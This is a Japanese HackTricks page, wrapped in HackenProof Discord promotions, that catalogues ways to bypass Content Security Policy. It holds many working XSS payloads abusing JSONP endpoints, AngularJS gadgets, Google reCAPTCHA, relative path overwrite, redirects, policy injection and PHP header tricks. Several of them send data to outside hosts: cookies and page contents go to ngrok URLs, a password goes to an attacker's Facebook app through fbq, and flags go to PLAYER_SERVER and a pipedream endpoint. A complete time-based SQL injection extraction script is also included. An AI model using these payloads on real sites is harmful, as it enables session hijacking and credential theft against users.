Content Security Policy (CSP) Bypass

HackTricksをサポートする

経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために、HackenProof Discordサーバーに参加してください!

ハッキングの洞察 ハッキングのスリルと課題に深く掘り下げたコンテンツに参加する

リアルタイムハックニュース リアルタイムのニュースと洞察を通じて、急速に進化するハッキングの世界を把握する

最新の発表 新しいバグバウンティの開始や重要なプラットフォームの更新について情報を得る

Discordに参加して、今日からトップハッカーとコラボレーションを始めましょう!

CSPとは

コンテンツセキュリティポリシー (CSP) は、主にクロスサイトスクリプティング (XSS)などの攻撃から保護することを目的としたブラウザ技術として認識されています。これは、ブラウザがリソースを安全に読み込むことができるパスとソースを定義し、詳細に説明することによって機能します。これらのリソースには、画像、フレーム、JavaScriptなどのさまざまな要素が含まれます。たとえば、ポリシーは、同じドメイン(自己)からのリソースの読み込みと実行を許可することがあり、インラインリソースやevalsetTimeoutsetIntervalなどの関数を通じて文字列コードの実行を含むことがあります。

CSPの実装は、レスポンスヘッダーを介して行われるか、HTMLページにメタ要素を組み込むことによって行われます。このポリシーに従い、ブラウザはこれらの規定を積極的に施行し、検出された違反を即座にブロックします。

  • レスポンスヘッダーを介して実装:

Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
  • メタタグを介して実装された:

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">

ヘッダー

CSPはこれらのヘッダーを使用して強制または監視できます:

  • Content-Security-Policy: CSPを強制します; ブラウザは違反をブロックします。

  • Content-Security-Policy-Report-Only: 監視用に使用されます; 違反を報告しますが、ブロックはしません。プレプロダクション環境でのテストに最適です。

リソースの定義

CSPは、アクティブおよびパッシブコンテンツの読み込み元を制限し、インラインJavaScriptの実行やeval()の使用などの側面を制御します。例のポリシーは:

default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';

ディレクティブ

  • script-src: JavaScriptの特定のソースを許可します。これには、URL、インラインスクリプト、イベントハンドラやXSLTスタイルシートによってトリガーされるスクリプトが含まれます。

  • default-src: 特定のフェッチディレクティブが存在しない場合にリソースを取得するためのデフォルトポリシーを設定します。

  • child-src: ウェブワーカーや埋め込まれたフレームコンテンツのために許可されたリソースを指定します。

  • connect-src: fetch、WebSocket、XMLHttpRequestなどのインターフェースを使用して読み込むことができるURLを制限します。

  • frame-src: フレームのためのURLを制限します。

  • frame-ancestors: 現在のページを埋め込むことができるソースを指定します。これは、<frame><iframe><object><embed>、および<applet>のような要素に適用されます。

  • img-src: 画像のために許可されたソースを定義します。

  • font-src: @font-faceを使用して読み込まれるフォントのための有効なソースを指定します。

  • manifest-src: アプリケーションマニフェストファイルのために許可されたソースを定義します。

  • media-src: メディアオブジェクトを読み込むために許可されたソースを定義します。

  • object-src: <object><embed>、および<applet>要素のために許可されたソースを定義します。

  • base-uri: <base>要素を使用して読み込むための許可されたURLを指定します。

  • form-action: フォーム送信のための有効なエンドポイントをリストします。

  • plugin-types: ページが呼び出すことができるmimeタイプを制限します。

  • upgrade-insecure-requests: ブラウザにHTTP URLをHTTPSに書き換えるよう指示します。

  • sandbox: <iframe>のsandbox属性に似た制限を適用します。

  • report-to: ポリシーが違反された場合に報告が送信されるグループを指定します。

  • worker-src: Worker、SharedWorker、またはServiceWorkerスクリプトのための有効なソースを指定します。

  • prefetch-src: フェッチまたはプリフェッチされるリソースのための有効なソースを指定します。

  • navigate-to: ドキュメントがあらゆる手段(a、form、window.location、window.openなど)でナビゲートできるURLを制限します。

ソース

  • *: data:, blob:, filesystem:スキームを除くすべてのURLを許可します。

  • 'self': 同じドメインからの読み込みを許可します。

  • 'data': データスキーム(例:Base64エンコードされた画像)を介してリソースを読み込むことを許可します。

  • 'none': どのソースからの読み込みもブロックします。

  • 'unsafe-eval': eval()や類似のメソッドの使用を許可しますが、セキュリティ上の理由から推奨されません。

  • 'unsafe-hashes': 特定のインラインイベントハンドラを有効にします。

  • 'unsafe-inline': インライン<script><style>のようなインラインリソースの使用を許可しますが、セキュリティ上の理由から推奨されません。

  • 'nonce': 暗号的なnonce(1回使用される番号)を使用する特定のインラインスクリプトのホワイトリストです。

  • JSの実行が制限されている場合、doc.defaultView.top.document.querySelector("[nonce]")を使用してページ内の使用済みnonceを取得し、それを再利用して悪意のあるスクリプトを読み込むことが可能です(strict-dynamicが使用されている場合、許可されたソースは新しいソースを読み込むことができるため、これは必要ありません)。以下のように:

nonceを再利用してスクリプトを読み込む
  • 'sha256-<hash>': 特定のsha256ハッシュを持つスクリプトをホワイトリストに追加します。

  • 'strict-dynamic': ノンスまたはハッシュによってホワイトリストに追加された場合、任意のソースからスクリプトを読み込むことを許可します。

  • 'host': example.comのような特定のホストを指定します。

  • https:: HTTPSを使用するURLに制限します。

  • blob:: Blob URL(例:JavaScriptを介して作成されたBlob URL)からリソースを読み込むことを許可します。

  • filesystem:: ファイルシステムからリソースを読み込むことを許可します。

  • 'report-sample': 違反報告に違反コードのサンプルを含めます(デバッグに便利です)。

  • 'strict-origin': 'self'に似ていますが、ソースのプロトコルセキュリティレベルがドキュメントと一致することを保証します(安全なオリジンのみが安全なオリジンからリソースを読み込むことができます)。

  • 'strict-origin-when-cross-origin': 同一オリジンリクエストを行う際に完全なURLを送信しますが、リクエストがクロスオリジンの場合はオリジンのみを送信します。

  • 'unsafe-allow-redirects': すぐに別のリソースにリダイレクトされるリソースを読み込むことを許可します。セキュリティを弱めるため推奨されません。

安全でないCSPルール

'unsafe-inline'

Content-Security-Policy: script-src https://google.com 'unsafe-inline';

Working payload: "/><script>alert(1);</script>

self + 'unsafe-inline' via Iframes

CSP bypass: self + 'unsafe-inline' with Iframes

'unsafe-eval'

これは機能していません。詳細についてはこちらを確認してください

Content-Security-Policy: script-src https://google.com 'unsafe-eval';

作業ペイロード:

<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>

strict-dynamic

もしあなたが何らかの方法で許可されたJSコードがあなたのJSコードで新しいスクリプトタグをDOMに作成することができれば、許可されたスクリプトがそれを作成しているため、新しいスクリプトタグは実行を許可される

Wildcard (*)

Content-Security-Policy: script-src 'self' https://google.com https: data *;

作業ペイロード:

"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>

object-srcとdefault-srcの欠如

これはもはや機能していないようです

Content-Security-Policy: script-src 'self' ;

作動するペイロード:

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>

ファイルアップロード + 'self'

Content-Security-Policy: script-src 'self';  object-src 'none' ;

もしJSファイルをアップロードできれば、このCSPをバイパスできます:

Working payload:

"/>'><script src="/uploads/picture.png.js"></script>

しかし、サーバーがアップロードされたファイルを検証している可能性が高く、特定のタイプのファイルのみをアップロードすることを許可するでしょう。

さらに、サーバーが受け入れる拡張子を持つファイルにJSコードを含めてアップロードできたとしても(例えば:script.png)、これは十分ではありません。なぜなら、apacheサーバーのような一部のサーバーは拡張子に基づいてファイルのMIMEタイプを選択し、Chromeのようなブラウザは画像であるべきものの中のJavascriptコードを実行することを拒否します。「幸運にも」、間違いがあります。例えば、CTFから学んだことですが、Apacheは_.wave_拡張子を知らないため、*audio/のようなMIMEタイプで提供しません

ここから、XSSとファイルアップロードを見つけ、誤解された拡張子を見つけた場合、その拡張子を持つファイルとスクリプトの内容をアップロードしようとすることができます。また、サーバーがアップロードされたファイルの正しい形式をチェックしている場合は、ポリグロットを作成することができます(ここにいくつかのポリグロットの例があります)。

Form-action

JSを注入することが不可能な場合でも、例えば資格情報をフォームアクションを注入することで流出させることを試みることができます(そして、パスワードマネージャーが自動的にパスワードを入力することを期待するかもしれません)。このレポートに例がありますも確認してください。また、default-srcはフォームアクションをカバーしていないことに注意してください。

第三者エンドポイント + ('unsafe-eval')

以下のペイロードのいくつかに対して**unsafe-evalは必要ない**場合もあります。

Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';

脆弱なバージョンのangularをロードし、任意のJSを実行します:

<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>


"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>


"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>


With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
<iframe/ng-app/ng-csp/srcdoc="
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
</script>
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>

Angularを使用したペイロード + windowオブジェクトを返す関数を持つライブラリ (この投稿をチェックしてください):

この投稿では、cdn.cloudflare.com(または他の許可されたJSライブラリリポジトリ)からすべてのライブラリロードし、各ライブラリから追加されたすべての関数を実行し、どのライブラリのどの関数がwindowオブジェクトを返すかを確認できることが示されています。

<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{$on.curry.call().alert('xss')}}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{[].erase.call().alert('xss')}}
</div>

Angular XSSはクラス名から:

<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>

Google reCAPTCHA JSコードの悪用

このCTFの解説によると、CSP内でhttps://www.google.com/recaptcha/を悪用して、CSPをバイパスし任意のJSコードを実行することができます:

<div
ng-controller="CarouselController as c"
ng-init="c.init()"
>
&#91[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
<div carousel><div slides></div></div>

<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>

More この文書からのペイロード:

<script src='https://www.google.com/recaptcha/about/js/main.min.js'></script>

<!-- Trigger alert -->
<img src=x ng-on-error='$event.target.ownerDocument.defaultView.alert(1)'>

<!-- Reuse nonce -->
<img src=x ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)'>

www.google.comを悪用したオープンリダイレクト

次のURLはexample.comにリダイレクトします(こちらから):

https://www.google.com/amp/s/example.com/

*.google.com/script.google.comの悪用

script.google.com内のページで情報を受け取るためにGoogle Apps Scriptを悪用することが可能です。これはこのレポートで行われています。

サードパーティエンドポイント + JSONP

Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';

このようなシナリオでは、script-srcselfおよび特定のホワイトリストに登録されたドメインに設定されている場合、JSONPを使用してバイパスできます。JSONPエンドポイントは、安全でないコールバックメソッドを許可し、攻撃者がXSSを実行できるようにします。動作するペイロード:

"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>

JSONBee は、さまざまなウェブサイトのCSPバイパス用に使用可能なJSONPエンドポイントを含んでいます。

信頼されたエンドポイントにオープンリダイレクトが含まれている場合、同じ脆弱性が発生します。なぜなら、初期のエンドポイントが信頼されている場合、リダイレクトも信頼されるからです。

サードパーティの悪用

以下の投稿で説明されているように、CSPのどこかで許可されている可能性のある多くのサードパーティドメインがあり、これらはデータを抽出したり、JavaScriptコードを実行したりするために悪用される可能性があります。これらのサードパーティの一部は次のとおりです:

エンティティ許可されたドメイン機能

Facebook

www.facebook.com, *.facebook.com

Exfil

Hotjar

*.hotjar.com, ask.hotjar.io

Exfil

Jsdelivr

*.jsdelivr.com, cdn.jsdelivr.net

Exec

Amazon CloudFront

*.cloudfront.net

Exfil, Exec

Amazon AWS

*.amazonaws.com

Exfil, Exec

Azure Websites

*.azurewebsites.net, *.azurestaticapps.net

Exfil, Exec

Salesforce Heroku

*.herokuapp.com

Exfil, Exec

Google Firebase

*.firebaseapp.com

Exfil, Exec

ターゲットのCSPに許可されたドメインが見つかった場合、サードパーティサービスに登録することでCSPをバイパスし、そのサービスにデータを抽出したり、コードを実行したりできる可能性があります。

例えば、次のCSPが見つかった場合:

Content-Security-Policy​: default-src 'self’ www.facebook.com;​

or

Content-Security-Policy​: connect-src www.facebook.com;​

あなたはデータを抽出できるはずです。これは、Google Analytics/Google Tag Managerで常に行われてきたのと同様です。この場合、次の一般的な手順に従います。

  1. ここでFacebook Developerアカウントを作成します。

  2. 新しい「Facebook Login」アプリを作成し、「Website」を選択します。

  3. 「Settings -> Basic」に移動し、「App ID」を取得します。

  4. データを抽出したいターゲットサイトで、Facebook SDKガジェット「fbq」を「customEvent」とデータペイロードを通じて直接使用することでデータを抽出できます。

  5. あなたのアプリの「Event Manager」に移動し、作成したアプリケーションを選択します(イベントマネージャーは、次のようなURLで見つけることができます: https://www.facebook.com/events_manager2/list/pixel/[app-id]/test_events)。

  6. 「Test Events」タブを選択して、「あなた」のウェブサイトから送信されるイベントを確認します。

次に、被害者側で、攻撃者のFacebook Developerアカウントのapp-idを指すようにFacebookトラッキングピクセルを初期化し、次のようなカスタムイベントを発行するために以下のコードを実行します。

fbq('init', '1279785999289471');​ // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{​
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"​
});

他の7つのサードパーティドメインについては、悪用する方法が他にもたくさんあります。その他のサードパーティの悪用についての追加説明は、以前のブログ投稿を参照してください。

RPO(相対パス上書き)によるバイパス

前述のパス制限を回避するためのリダイレクトに加えて、いくつかのサーバーで使用できる相対パス上書き(RPO)という別の技術があります。

例えば、CSPがパス https://example.com/scripts/react/ を許可している場合、次のようにバイパスできます:

<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>

ブラウザは最終的に https://example.com/scripts/angular/angular.js を読み込みます。

これは、ブラウザにとって https://example.com/scripts/react/ の下にある ..%2fangular%2fangular.js という名前のファイルを読み込んでいるため、CSPに準拠しています。

∑、彼らはそれをデコードし、実際には https://example.com/scripts/react/../angular/angular.js を要求します。これは https://example.com/scripts/angular/angular.js と同等です。

ブラウザとサーバー間のURL解釈の不一致を利用することで、パスルールをバイパスできます

解決策は、サーバー側で %2f/ として扱わないようにし、ブラウザとサーバー間で一貫した解釈を確保してこの問題を回避することです。

オンライン例: https://jsbin.com/werevijewa/edit?html,output

Iframes JS 実行

Iframes in XSS, CSP and SOP

base-uri が欠落している場合

base-uri ディレクティブが欠落している場合、ダングリングマークアップインジェクションを実行するために悪用できます。

さらに、相対パスを使用してスクリプトを読み込んでいるページ(例えば <script src="/js/app.js">)が Nonce を使用している場合、base タグ を悪用して 自分のサーバーからスクリプトを読み込ませ、XSSを達成することができます。 脆弱なページが httpS で読み込まれている場合、baseにhttpS URLを使用してください。

<base href="https://www.attacker.com/">

AngularJSイベント

特定のポリシーであるContent Security Policy (CSP)はJavaScriptイベントを制限する場合があります。それにもかかわらず、AngularJSは代替としてカスタムイベントを導入します。イベント内で、AngularJSはネイティブブラウザイベントオブジェクトを参照するユニークなオブジェクト$eventを提供します。この$eventオブジェクトはCSPを回避するために悪用される可能性があります。特に、Chromeでは、$event/eventオブジェクトはpath属性を持ち、イベントの実行チェーンに関与するオブジェクトの配列を保持しており、windowオブジェクトは常に最後に位置しています。この構造はサンドボックスエスケープ戦術にとって重要です。

この配列をorderByフィルターに向けることで、反復処理が可能になり、端末要素(windowオブジェクト)を利用してalert()のようなグローバル関数をトリガーできます。以下のコードスニペットはこのプロセスを明示しています:

<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x

このスニペットは、ng-focus ディレクティブを使用してイベントをトリガーし、$event.path|orderBy を使用して path 配列を操作し、window オブジェクトを利用して alert() 関数を実行し、document.cookie を表示する方法を強調しています。

他のAngularバイパスを見つけるには https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

AngularJS とホワイトリストドメイン

Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;

Angular JSアプリケーションでスクリプト読み込みのためにドメインをホワイトリストするCSPポリシーは、コールバック関数の呼び出しや特定の脆弱なクラスを通じてバイパスされる可能性があります。この技術に関する詳細情報は、このgitリポジトリで入手できます。

動作するペイロード:

<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>

<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">

他のJSONP任意実行エンドポイントはこちらで見つけることができます(いくつかは削除または修正されました)

リダイレクションによるバイパス

CSPがサーバーサイドのリダイレクションに遭遇した場合、何が起こるのでしょうか?リダイレクションが許可されていない異なるオリジンに向かう場合、依然として失敗します。

しかし、CSP仕様4.2.2.3. パスとリダイレクションの説明によれば、リダイレクションが異なるパスに向かう場合、元の制限をバイパスすることができます。

以下はその例です:

<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src http://localhost:5555 https://www.google.com/a/b/c/d">
</head>
<body>
<div id=userContent>
<script src="https://https://www.google.com/test"></script>
<script src="https://https://www.google.com/a/test"></script>
<script src="http://localhost:5555/301"></script>
</div>
</body>
</html>

CSPがhttps://www.google.com/a/b/c/dに設定されている場合、パスが考慮されるため、/testおよび/a/testスクリプトはCSPによってブロックされます。

しかし、最終的なhttp://localhost:5555/301サーバー側でhttps://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//にリダイレクトされます。リダイレクションであるため、パスは考慮されずスクリプトは読み込まれることができ、したがってパス制限を回避します。

このリダイレクションにより、パスが完全に指定されていても、依然として回避されます。

したがって、最良の解決策は、ウェブサイトにオープンリダイレクトの脆弱性がないことを確認し、CSPルールで悪用できるドメインがないことです。

ダンギングマークアップを使用したCSPのバイパス

こちらを読んでください

'unsafe-inline'; img-src *; via XSS

default-src 'self' 'unsafe-inline'; img-src *;

'unsafe-inline'は、コード内の任意のスクリプトを実行できることを意味します(XSSはコードを実行できます)し、img-src *は、ウェブページ上で任意のリソースからの画像を使用できることを意味します。

このCSPをバイパスするには、画像を介してデータを抽出します(この場合、XSSはCSRFを悪用し、ボットがアクセスできるページにSQLiが含まれており、画像を介してフラグを抽出します):

<script>fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new Image().src='http://PLAYER_SERVER/?'+_)</script>

From: https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle

この設定を悪用して、画像内に挿入されたjavascriptコードを読み込むこともできます。例えば、ページがTwitterからの画像の読み込みを許可している場合、特別な画像を作成し、それをTwitterにアップロードして、"unsafe-inline"を悪用して、JSコードを実行することができます(通常のXSSとして)それが画像を読み込み、その中からJSを抽出し、それを実行します: https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/

サービスワーカーを使用して

サービスワーカーの**importScripts**関数はCSPによって制限されません:

Abusing Service Workers

ポリシーインジェクション

研究: https://portswigger.net/research/bypassing-csp-with-policy-injection

Chrome

あなたが送信したパラメータポリシーの宣言内に貼り付けられている場合、あなたはポリシーを変更して無効にすることができます。これらのバイパスのいずれかを使用して、スクリプト 'unsafe-inline'を許可することができます:

script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'

このディレクティブは既存のscript-srcディレクティブを上書きします。 ここに例があります: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E

Edge

Edgeでははるかに簡単です。CSPにこれだけ追加できれば: ;_ Edgeポリシー全体を削除します。 例: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E

img-src *; via XSS (iframe) - タイムアタック

ディレクティブ 'unsafe-inline' の欠如に注意してください。 今回は、被害者にあなたの制御下にあるページをXSSを介して**で読み込ませることができます。今回は、被害者に情報を抽出したいページにアクセスさせます(CSRF)。ページの内容にはアクセスできませんが、もし何らかの方法でページの読み込みに必要な時間を制御できれば**、必要な情報を抽出できます。

今回は、フラグが抽出されます。SQLiを介して文字が正しく推測されるたびに、レスポンススリープ関数のためにより多くの時間を要します。そうすれば、フラグを抽出できるようになります:

<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name=f id=g></iframe> // The bot will load an URL with the payload
<script>
let host = "http://x-oracle-v1.nn9ed.ka0labs.org";
function gen(x) {
x = escape(x.replace(/_/g, '\\_'));
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`;
}

function gen2(x) {
x = escape(x);
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`;
}

async function query(word, end=false) {
let h = performance.now();
f.location = (end ? gen2(word) : gen(word));
await new Promise(r => {
g.onload = r;
});
let diff = performance.now() - h;
return diff > 300;
}

let alphabet = '_abcdefghijklmnopqrstuvwxyz0123456789'.split('');
let postfix = '}'

async function run() {
let prefix = 'nn9ed{';
while (true) {
let i = 0;
for (i;i<alphabet.length;i++) {
let c = alphabet[i];
let t =  await query(prefix+c); // Check what chars returns TRUE or FALSE
console.log(prefix, c, t);
if (t) {
console.log('FOUND!')
prefix += c;
break;
}
}
if (i==alphabet.length) {
console.log('missing chars');
break;
}
let t = await query(prefix+'}', true);
if (t) {
prefix += '}';
break;
}
}
new Image().src = 'http://PLAYER_SERVER/?' + prefix; //Exfiltrate the flag
console.log(prefix);
}

run();
</script>

Via Bookmarklets

この攻撃は、攻撃者がユーザーにブラウザのブックマークレットの上にリンクをドラッグアンドドロップさせることを納得させるというソーシャルエンジニアリングを含みます。このブックマークレットには、悪意のあるjavascriptコードが含まれており、ドラッグアンドドロップまたはクリックされると、現在のウェブウィンドウのコンテキストで実行され、CSPをバイパスして、クッキーやトークンなどの機密情報を盗むことを可能にします

詳細については、こちらで元のレポートを確認してください

CSP bypass by restricting CSP

このCTFの解説では、許可されたiframe内により制限されたCSPを注入することでCSPがバイパスされ、特定のJSファイルの読み込みが禁止され、その後、プロトタイプ汚染またはDOMクラッタリングを介して、異なるスクリプトを悪用して任意のスクリプトを読み込むことが可能になりました

**csp**属性を使用して、IframeのCSPを制限することができます

<iframe src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]" csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>

このCTFの解説では、HTMLインジェクションを通じてCSPをより制限することが可能であり、その結果、CSTIを防ぐスクリプトが無効化され、脆弱性が悪用可能になりました。 CSPはHTMLメタタグを使用してより制限的にすることができ、インラインスクリプトを無効にすることでエントリ削除し、nonceを許可し、shaを介して特定のインラインスクリプトを有効にすることができます。

<meta http-equiv="Content-Security-Policy" content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';">

JS exfiltration with Content-Security-Policy-Report-Only

もしサーバーが**Content-Security-Policy-Report-Onlyヘッダーをあなたが制御する値で応答するように管理できれば(おそらくCRLFのため)、それをあなたのサーバーに向けることができ、もし<script>でエクスフィルしたいJSコンテンツをラップすると、CSPによってunsafe-inlineが許可されていない可能性が高いため、これがCSPエラー**を引き起こし、スクリプトの一部(機密情報を含む)がContent-Security-Policy-Report-Onlyからサーバーに送信されます。

例としてこのCTFの解説を確認してください

document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = document.createElement(\"script\");s.src = \"https://pastebin.com/raw/dw5cWGK6\";document.body.appendChild(s);'></iframe>";

CSPとIframeを使用した情報漏洩

  • iframeが作成され、CSPによって許可されたURL(これをhttps://example.redirect.comと呼びます)を指します。

  • このURLは、CSPによって許可されていない秘密のURL(例:https://usersecret.example2.com)にリダイレクトされます。

  • securitypolicyviolationイベントをリッスンすることで、blockedURIプロパティをキャプチャできます。このプロパティは、ブロックされたURIのドメインを明らかにし、最初のURLがリダイレクトされた秘密のドメインを漏洩させます。

ChromeやFirefoxのようなブラウザは、CSPに関してiframeを扱う際に異なる動作をするため、未定義の動作による機密情報の漏洩の可能性があります。

別の技術は、CSP自体を利用して秘密のサブドメインを推測することです。この方法は、バイナリサーチアルゴリズムに依存し、特定のドメインを意図的にブロックするようにCSPを調整します。たとえば、秘密のサブドメインが未知の文字で構成されている場合、CSPディレクティブを変更してこれらのサブドメインをブロックまたは許可することで、異なるサブドメインを反復的にテストできます。以下は、この方法を促進するためにCSPがどのように設定されるかを示すスニペットです:

img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev

CSPによってブロックまたは許可されるリクエストを監視することで、秘密のサブドメインに含まれる可能性のある文字を絞り込み、最終的に完全なURLを明らかにすることができます。

両方の方法は、CSPの実装とブラウザでの動作のニュアンスを利用しており、一見安全なポリシーが意図せずに機密情報を漏洩させる可能性があることを示しています。

こちらからのトリック。

経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために、HackenProof Discordサーバーに参加してください!

ハッキングの洞察 ハッキングのスリルと課題に深く掘り下げたコンテンツに参加しましょう

リアルタイムハックニュース リアルタイムのニュースと洞察を通じて、急速に変化するハッキングの世界を最新の状態に保ちましょう

最新のお知らせ 新しいバグバウンティの開始や重要なプラットフォームの更新について情報を得ましょう

Discordで私たちに参加し、今日からトップハッカーとコラボレーションを始めましょう!

CSPをバイパスするための危険な技術

パラメータが多すぎるときのPHPエラー

この動画でコメントされた最後の技術によると、パラメータを多く送信すると(1001のGETパラメータ、POSTパラメータや20以上のファイルでも可能)、PHPウェブコードで定義された**header()は、これが引き起こすエラーのために送信されません**。

PHPレスポンスバッファのオーバーロード

PHPはデフォルトで4096バイトのレスポンスをバッファリングすることで知られています。したがって、PHPが警告を表示している場合、警告内に十分なデータを提供することでレスポンスCSPヘッダーの前に送信され、ヘッダーが無視されることになります。 その後、この技術は基本的に警告でレスポンスバッファを埋めることによって、CSPヘッダーが送信されないようにすることです。

この書き込みからのアイデア。

エラーページの書き換え

この書き込みによると、エラーページ(CSPがない可能性がある)を読み込み、その内容を書き換えることでCSP保護をバイパスすることが可能だったようです。

a = window.open('/' + 'x'.repeat(4100));
setTimeout(function() {
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`;
}, 1000);

SOME + 'self' + wordpress

SOMEは、ページのエンドポイントでのXSS(または非常に制限されたXSS)を悪用して、同じオリジンの他のエンドポイントを悪用する技術です。これは、攻撃者のページから脆弱なエンドポイントを読み込み、その後、悪用したい同じオリジンの実際のエンドポイントに攻撃者のページをリフレッシュすることで行われます。この方法により、脆弱なエンドポイントは、ペイロード内の**opener**オブジェクトを使用して、悪用する実際のエンドポイントのDOMにアクセスできます。詳細については、次を確認してください:

SOME - Same Origin Method Execution

さらに、wordpressには、/wp-json/wp/v2/users/1?_jsonp=dataJSONPエンドポイントがあり、出力に送信されたデータ反映します(文字、数字、ドットのみの制限があります)。

